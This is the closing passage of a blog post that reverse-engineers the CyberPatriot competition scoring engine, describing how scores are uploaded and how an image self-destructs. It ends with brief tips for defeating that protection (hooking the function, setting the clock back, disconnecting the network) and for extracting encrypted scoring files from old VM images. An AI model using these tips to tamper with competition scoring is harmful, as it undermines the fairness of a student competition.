</code></pre><p>After generating the Scoring XML, the program calls a function I call &quot;<code>UploadScores</code>&quot;. Initially, this function checks internet connectivity by trying to reach Google, the first CyberPatriot scoring server, and the backup CyberPatriot scoring server. The function uploads the scoring XML to the first available scoring server using curl. This function does integrity checks to see if the score XML is incomplete or <strong>if there is proxy interception</strong>.</p><p>After the scoring XML has been uploaded, the engine updates the &quot;<code>ScoringReport.html</code>&quot; to reflect the current status such as internet connectivity, the points scored, the vulnerabilities found, etc.</p><p>Finally, the function ends with updating the README shortcut on the Desktop with the appropriate link specified in the decrypted &quot;<code>ScoringResource.dat</code>&quot; XML and calling &quot;<code>DestructImage</code>&quot; again to see if the image should destruct or not. If you&apos;re worried about the image destructing, just hook it and return <code> 0</code>.</p><h2 id="conclusion">Conclusion</h2><p>In conclusion, the CyberPatriot Scoring Engine is really not that complicated. I hope that this article clears up some of the myths and unknowns associated with the engine and gives you a better picture of how it all works. No doubt CyberPatriot will change how they encrypt/decrypt for next years CyberPatriot, but I am not sure to what extent they will change things.</p><p>If you&apos;re wondering how I got the &quot;<code>ScoringResource.dat</code>&quot; files from older VM images, there are several methods:</p><ul><li>VMWare has an option under File called &quot;Map Virtual Disks&quot;. You can give it a VMDK file and it will extract it for you into a disc. You can grab it from the filesystem there.</li><li>7-Zip can extract VMDK files.</li><li>If you want to run the VM, you can set your system time to be the time the competition was and turn off networking for the VM. No DestructImage :)</li></ul>]]></content:encoded></item></channel></rss>